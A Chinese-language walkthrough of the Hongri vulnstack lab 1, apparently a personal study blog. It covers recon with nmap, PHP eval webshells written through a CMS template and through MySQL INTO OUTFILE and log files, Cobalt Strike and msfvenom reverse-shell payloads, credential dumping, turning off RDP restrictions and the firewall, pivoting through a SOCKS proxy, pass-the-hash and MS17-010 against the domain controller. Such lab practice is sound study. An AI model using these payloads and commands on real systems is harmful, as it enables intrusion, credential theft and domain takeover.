红日靶场(一)

1.环境搭建

1. 实验环境拓扑如下:

三台虚拟机的初始密码都是: hongrisec@2019,(开机提示密码已过期,更改为 hongri@123 即可)
拓扑结构如下:
20260102231619568.png
Web服务器是win7虚拟机,其他两台虚拟机是域内成员,一台作为DC。

下面用“一张图、一条时间线、一个比喻、一张命令表”四件套,拆解“工作组/域/DC”


一、一张图(逻辑拓扑)
┌--------┐
│ 用户A │──┐
└--------┘ │ 工作组(Workgroup)
┌--------┐ │ 每台电脑自己说了算
│ 用户B │──┘
└--------┘

│ 想互访:必须知道对方电脑上的账号密码
│ 没有“老大”,没有统一账本

           ┌-------------------------┐  
           │      域(Domain)        │  
           │  统一名字叫 corp.com     │  
           └-------------------------┘  
                    ↑    ↑    ↑  
    统一账号        │    │    │  
    统一策略        │    │    │  
                    │    │    │  
           ┌--------┴┐ ┌--┴----┐ ┌--┴----┐  
           │  DC-1   │ │  DC-2 │ │  DC-3 │  ← 域控制器(DC)  
           │  账本1  │ │ 账本2 │ │ 账本3 │     互为副本,一起说了算  
           └---------┘ └-------┘ └-------┘  

二、一条时间线(从开机到访问共享)

  1. 工作组方式
    ① 开机 → ② 电脑读本地 SAM → ③ 输入本机账号 → ④ 进桌面 →
    ⑤ 打开 \PC2\共享 → ⑥ 弹出框:输入 PC2 的账号密码 → ⑦ 能访问

  2. 域方式
    ① 开机 → ② 电脑找 DNS 问:谁是 DC? → ③ DNS 返回 DC-1 地址 →
    ④ 输入“域账号 david” → ⑤ DC-1 验 Kerberos 票 → ⑥ 进桌面 →
    ⑦ 打开 \FileServer\共享 → ⑧ 自动带票,不再输密码 → ⑨ 直接访问

一句话:工作组“每台自己验”,域“找老大验”。


三、一个比喻(公司 vs 菜市场)

工作组 = 菜市场

  • 每个摊主自己收钱、自己记账。
  • 你去 A 摊位,必须带 A 摊主要求的零钱;去 B 摊位,再换另一套零钱。
  • 没有总经理,谁也别管谁。

域 = 正规连锁超市

  • 所有收银员归总部(DC)培训,统一用 POS 机刷会员卡。
  • 你办一张会员卡,可在任意门店购物、积分、打折。
  • 总部每天把销售数据同步到所有门店(多主复制)。

四、一张命令表

你想做的事 工作组命令 域命令 备注
看自己是工作组还是域 systeminfo findstr /i “域” 同上
加入/退出工作组 图形界面或 wmic computersystem where name="%computername%" call joindomainorworkgroup name=新工作组 图形界面或 Add-Computer -DomainName corp.com 工作组随意进出;域必须知道域管账号
看本地账号 net user net user 域电脑也有本地账号,但登录时优先域账号
看域账号 net user /domainGet-ADUser -Filter * 工作组根本没域账号
看谁是 DC nltest /dclist:cropnslookup -type=srv _ldap._tcp.dc._msdcs.corp.com 工作组无 DC

五、30 秒速答

同事:工作组和域到底差在哪?
你:工作组像各自回家自己做饭,域像公司食堂——想吃就得先刷卡(DC 认证),吃完还得遵守食堂规矩(GPO)。

同事:DC 挂了呢?
你:食堂窗口关一个没事,还有别的窗口(额外 DC);全关就全公司饿肚子(域瘫)。


六、一句话总结

工作组:无中心,各管各,账号存在本机。
域:有中心,先找 DC,账号存在 AD,策略统一下发。

维度 工作组(Workgroup) 域(Domain)
规模 ≤20 台电脑的小网最舒服 几十到上万台都能管
中央账号 无,每台本机 SAM 自己管 有,AD(Active Directory)统一账号库
登录验证 本机验证 域控制器(DC)验证
权限策略 每台机各自设共享、配额、NTFS 权限 用 GPO 统一下发,一次配置全网生效
信任关系 两两平等,互不信任 客户端信任 DC,DC 间可建林/树/父子域信任
名字空间 只是“网络邻居”里一个标签 有 DNS 后缀,形成完整域名空间
资源发现 依赖 NetBIOS 广播,容易找不到机器 DNS+AD 站点,跨子网也能精准定位
高可用 无,谁关机谁消失 多台 DC 自动做复制、容错
典型协议 SMB/NetBIOS Kerberos、LDAP、DNS、SMB
成本 0 元,Windows 家庭版都能建 至少一台 Windows Server + CAL 费用

2. 下载好镜像文件

下载地址: http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

3. 网卡配置

需要模拟内网和外网两个网段,先在VMware中配置两张网卡
20260102231706454.png
Win7 虚拟机:相当于边界服务器,所以需要两张网卡,一个用来向外网提供web服务,一个是通向内网。将 Win7 的网络适配器 1 设置成 NAT 模式(外网),网络适配器 2 设置成 VMnet1 仅主机模式(内网)。添加网络适配器如下图
20260102231708019.png
Winserver 2008(DC)和win2k3网络(域成员):都使用网卡1仅主机模式
20260102231709200.png

1
2
3
4
kali:(攻击机 外:192.168.38.138)
windows7:(外:192.168.38.153 内:192.168.52.143)
windows2008:(内:192.168.52.138)
windows2003:(内:192.168.52.141)

4. win7上开启phpstudy

20260102231710349.png

2. 外网信息收集

1. 网络存活主机发现 (ARP Ping Scan)

sudo nmap -sn -PR 192.168.38.0/24

  • -sn: 禁用端口扫描,只进行主机发现。
  • -PR: 使用 ARP 请求进行发现。在本地局域网中,ARP 比 ICMP Ping 更可靠、更快,且无法被防火墙阻止。
  • 使用场景:在取得内网访问权限后,快速、准确地绘制本地网段的存活主机地图。
    20260102231711929.png
    靶机地址:192.168.38.153

2. 综合信息收集扫描 (Stealth SYN + Service + OS)

nmap -sS -sV -O --top-ports 1000 -T4 192.168.38.153

  • -sS: TCP SYN (半开放) 扫描。发送 SYN 包,收到 SYN/ACK 则认为端口开放,但不完成三次握手,速度快且隐蔽。
  • -sV: 版本探测。向开放端口发送特定探测报文,根据响应指纹识别服务及其版本号。
  • -O: 操作系统检测。通过分析 TCP/IP 协议栈指纹来猜测目标操作系统。
  • –top-ports 1000: 扫描 Nmap 数据库中概率最高的 1000 个端口,在速度和信息收集量之间取得最佳平衡。
  • -T4: 设置时序模板为 4 (Aggressive),加快扫描速度。
  • 使用场景:对目标进行初步但全面的侦查,获取端口、服务、版本和操作系统等核心信息,为后续攻击提供方向。
    20260102231713097.png
    开放80和3306端口,已经具体的版本信息

3. 全端口扫描 (Full Port Scan)

nmap -sS -p- --min-rate 5000 -T4 -Pn 192.168.38.153

  • -p-: 扫描所有 65535 个端口。
  • –min-rate 5000: 指示 Nmap 每秒至少发送 5000 个包。这是极重要的优化参数,可大幅提升扫描速度。
  • -Pn: 跳过主机发现,将所有主机视为在线。在对单一目标进行全端口扫描时使用,避免发现阶段浪费时间。
  • 使用场景:在需要彻底排查目标开放端口时使用,常用于攻击面较小的关键服务器,以发现隐藏的、非标准的管理端口或后门。
    20260102231714290.png

4. HTTP 服务深度枚举

nmap -p 80,443,8080,8443 --script http-enum,http-headers,http-security-headers -sV 192.168.38.153

  • –script http-enum: 基于字典枚举 Web 目录和文件(如 /admin, /phpmyadmin)。
  • –script http-headers: 获取 HTTP 响应头,分析服务器、框架、Cookie 等信息。
  • –script http-security-headers: 检查缺失的安全头(如 CSP, HSTS, X-Frame-Options)。
  • 使用场景:对 Web 服务器进行快速配置审计和敏感路径发现,寻找攻击入口。
    20260102231715488.png

5. NSE 漏洞脚本扫描

nmap -sV --script vuln -p 80,443,445 192.168.38.153

  • –script vuln: 调用所有分类为 “vuln” (漏洞) 的 NSE 脚本。这些脚本会检查目标是否存在已知的公开漏洞。
  • -p 80,443,445: 限制扫描端口,只对最可能存在漏洞的服务进行检测,提高效率。
  • 使用场景:快速对目标进行漏洞筛查,寻找容易利用的弱点 (low-hanging fruit)。常用于时间紧迫的评估或大规模资产初筛。
    20260102231716732.png

3. 后台模板文件中写入webshell

访问http://192.168.38.153/yxcms/
20260102231804225.png
根据首页信息访问登录后台
20260102231806297.png
在前台模板——acomment.php 中写入webshell
20260102231807679.png
使用御剑进行后台目录扫描
20260102231808806.png
访问/robots.txt路径找到模板文件路径,存在目录遍历漏洞:
http://192.168.38.153/yxcms/protected/apps/default/view/default/
20260102231856815.png
使用蚁剑进行连接
20260102231858145.png

4. phpmyadmin后台getshell

弱口令登录到phpmyadmin,http://192.168.38.153/phpmyadmin/
20260102231944862.png

1 通过select into outfile

show global variables like '%secure_file_priv%';
写入一句话木马
select '<?php @eval($_POST[pass]);>' INTO OUTFILE 'c:/xx/WWWW/shell.php';

1
2
3
4
条件:
secure_file_priv=NULL 不允许文件导入导出
secure_file_priv=xxx 文件导入导出到指定路径
secure_file_priv= 文件可导出到任意路径

20260102231946070.png
显示为NULL无法利用

2 通过日志文件写webshell

1
2
3
条件:
数据库root权限
获得网站的绝对路径

查看当前日志文件:
show variables like '%general%';
20260102231947628.png
开启日志记录:
set global general_log = 'ON';
20260102231949987.png
更改日志文件路径:
set global general_log_file = 'C:/phpStudy/WWW/yxcms/shell.php';
20260102231951169.png
往日志文件中写入一句话木马:
select '<?php @eval($_POST[pass]);?>';
20260102231952538.png
连接成功
20260102231957357.png

3 慢查询日志写入

记录所有执行时间超过字段long_query_time规定时间的所有查询或不适用索引的查询。long_query_time值为10秒

1
2
3
条件:
数据库root权限
获得网站绝对路径

查看日志文件是否开启
show global variables like '%slow%';
20260102231958518.png
开启全局日志功能
set global slow_query_log = 'on';
20260102231959840.png
更改慢查询日志文件路径
set global slow_query_log_file = 'C:/phpStudy/WWWW/yxcms/shell2.php';
20260102232000830.png
往日志中写入一句话木马(使用sleep函数触发long_query_time)
select '<?php @eval($_POST[pass]);?>' or sleep(12);
20260102232004326.png
写入成功
20260102232006429.png

4 创建数据库和表写入webshell

1
2
3
4
条件:
拥有root权限
网站绝对路径已知(并且确定有写入权限);
secure_file_priv没有具体值

5. 内网

1 内网信息收集

whoami查看当前账号信息
systeminfo查看系统信息
20260102232007576.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ipconfig /all   # 查看本机ip,所在域
route print # 打印路由信息
net view # 查看局域网内其他主机名
arp -a # 查看arp缓存
net config workstation #查看当前登录域及域用户
net start # 查看开启了哪些服务
net share # 查看开启了哪些共享
net share ipc$ # 开启ipc共享
net share c$ # 开启c盘共享
net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user # 查看本机用户列表
net user /domain # 查看域用户
net localgroup administrators # 查看本地管理员组(通常会有域用户)
net view /domain # 查看有几个域
net user 用户名 /domain # 获取指定域用户的信息
net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain # 查看域中某工作组
net group "domain admins" /domain # 查看域管理员的名字
net group "domain computers" /domain # 查看域中的其他主机名
net group "doamin controllers" /domain # 查看域控制器(可能有多台)
net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享
dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件

2 上线cs

新建监听器
20260102232008875.png
生成windows后门
20260102232010118.png
上传并运行,主机上线
20260102232013345.png

1 一键提权(svc-exe)提权至 system 用户

20260102232014631.png

2 获取密码凭证

beacon 控制台中执行 logonpasswords ,随后在“视图菜单-密码凭证” 子菜单,查看服务器的所有用户的账户密码:
20260102232016005.png

3 连接远程桌面

查看远程桌面控制 (RDP) 3389 端口是否启用:shell netstat -ano | findstr 3389
20260102232016972.png
显示为空行,说明未启用,使用此命令开启 RDP:shell REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
执行完再次验证
20260102232018039.png
使用kali工具remmina进行远程连接(sudo apt install remmina)
用户名:god/administrator,密码:hongti@123
20260102232019559.png
显示连接失败,使用nmap查看3389端口状态:nmap -Pn -n -p 3389 192.168.38.153,端口为 filtered 被过滤状态,说明可能存在防火墙拦截,检查防火墙状态:shell netsh advfirewall show allprofiles
20260102232020905.png
可见防火墙是打开状态,同时策略:BlockInbound,AllowOutbound,拦截了入站数据
尝试关闭防火墙:shell netsh advfirewall set allprofiles state off或者单独放行RDP流量:netsh advfirewall firewall add rule name="ALLOW Remote Desktop" action=all air=in protocol=TCP localport=3389
20260102232022262.png
成功关闭防火墙,再次尝试连接,
20260102232023295.png
成功连接
20260102232024430.png

4 端口扫描

20260102232026196.png
20260102232027438.png

5 内网横向

端口扫描的时候发现开放了445端口,可以创建SMB监听隧道。
SMB监听隧道的核心原理是利用SMB协议在目标主机上建立隐蔽的通信通道,绕过传统防火墙和入侵检测系统的监控。
SMB(Server Message Block)是一个协议服务器信息块,它是一种客户机/服务器、请求/响应协议,通过SMB协议可以在计算机间共享文件、打印机、命名管道等资源,电脑上的网上邻居就是靠SMB实现的;SMB协议工作在应用层和会话层,可以用在TCP/IP协议之上,SMB使用TCP139端口和TCP445端口。
20260102232028989.png
20260102232029909.png

S-1-5-21-2952760202-1353902439-2381784089-500 aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
20260102232030892.png

3 msf

1 msf上线主机

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.38.138 LPORT=5566 -f exe -o shell.exe
20260102232031886.png
成功上线
20260102232033164.png

2 提权

当前是administrator用户,所以很容易提权
20260102232034238.png

3 代理

20260102232035245.png
20260102232036429.png
SRVHOST 不是 autoroute 配置的参数,二者属于 MSF 中不同功能模块的独立配置,作用完全不同。

一、 核心区别:SRVHOST vs autoroute

配置项 所属模块 作用 配置值来源
SRVHOST auxiliary/server/socks_proxy(SOCKS代理模块) 指定攻击机本地监听 SOCKS 连接的网卡地址 攻击机的 IP 或 0.0.0.0(监听所有网卡)
autoroute post/multi/manage/autoroute(路由模块) 基于 Meterpreter 会话,为 MSF 添加内网路由 目标内网的子网(如 192.168.52.0/24

二、 SRVHOST 的具体含义
当前配置的 SRVHOST 0.0.0.0 表示:

  • SOCKS 代理服务会在攻击机的所有网卡上监听 SRVPORT 1080 端口;
  • 攻击者的工具(如 proxychains)可以通过攻击机的任意 IP 连接这个 SOCKS 代理,进而访问 autoroute 配置的内网网段。

举个例子

  • 攻击机 IP:192.168.38.138
  • autoroute 配置了目标内网 192.168.52.0/24
  • SRVHOST 0.0.0.0 + SRVPORT 1080 启动 SOCKS 代理后,你在攻击机上配置 proxychains 指向 127.0.0.1:1080,就能让 nmap/ssh 等工具通过代理访问 192.168.52.0/24 网段。

三、 关键关联:SOCKS 代理 + autoroute 才能访问内网
这两个模块是协同工作的,缺一不可:

  1. autoroute:解决 MSF “怎么到达内网” 的问题(通过 Meterpreter 会话作为网关);
  2. socks_proxy:解决 “怎么让外部工具用这个路由” 的问题(提供 SOCKS 代理接口)。

四、 正确配置步骤(衔接之前的内网环境)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 1. 确保已经通过 autoroute 添加了内网路由(如 192.168.52.0/24)
msf > use post/multi/manage/autoroute
msf post(autoroute) > set SESSION 1
msf post(autoroute) > set SUBNET 192.168.52.0
msf post(autoroute) > set NETMASK 255.255.255.0
msf post(autoroute) > run

# 2. 配置并启动 SOCKS 代理
msf > use auxiliary/server/socks_proxy
msf auxiliary(socks_proxy) > set SRVHOST 0.0.0.0 # 攻击机监听所有网卡
msf auxiliary(socks_proxy) > set SRVPORT 1080
msf auxiliary(socks_proxy) > set VERSION 5
msf auxiliary(socks_proxy) > run -j # 后台运行代理

# 3. 配置 proxychains(攻击机本地)
# 编辑 /etc/proxychains.conf,添加一行:
socks5 127.0.0.1 1080

# 4. 用 proxychains 访问内网(如扫描 192.168.52.100)
proxychains nmap -sT -Pn 192.168.52.100 -p 445

五、无论 SRVHOST 填 0.0.0.0 还是 Kali 具体 IP,都不影响 autoroute 配置的内网路由 ——SOCKS 代理只是转发流量,而 autoroute 负责指引流量如何到达内网。

1
2
3
4
5
6
proxychains 配置对应:
如果 SRVHOST 设为 Kali 的具体 IP(如 192.168.38.138),proxychains.conf 要写:
socks5 192.168.38.138 1080

如果设为 0.0.0.0,本地用 127.0.0.1 即可(因为 Kali 本地回环也能访问):
socks5 127.0.0.1 1080

总结

  • SRVHOST 填的是攻击机的监听地址,和 autoroute 配置的内网子网无关;
  • 只要 autoroute 正确添加了内网路由,且 SOCKS 代理正常运行,就能通过代理访问内网。
4 内网信息收集

使用fscan进行内网
20260102232037656.png
域控机器为windows2008
proxychains4 nmap -sT --min-rate 10000 -p- 192.168.52.138
20260102232038845.png

5 权限维持

权限维持就是要将进程进行迁移,将我们的shell.exe的进程附加在系统进程上
20260102232040588.png
20260102232042179.png
run post/windows/manage/migrate 会自动会寻找指定的进程然后迁移

6 收集凭据

hashdump
20260102232043120.png

7 哈希传递攻击拿下域控

20260102232044229.png
使用exploit/windows/smb/psexec模块进行哈希传递攻击
20260102232045736.png
失败
使用admin/smb/ms17_010_command拿下域控(192.168.52.141)
修改注册表开启3389:set COMMAND REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f":
20260102232047553.png
关闭防火墙:set COMMAND REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" /v EnableFirewall /t REG_DWORD /d 0 /f

参考:
https://www.cnblogs.com/hellobao/articles/17253635.html
https://blog.lololowe.com/posts/bb48/#04beb8bdb24645948da5030a01e78f1b
感谢壁纸:https://haowallpaper.com/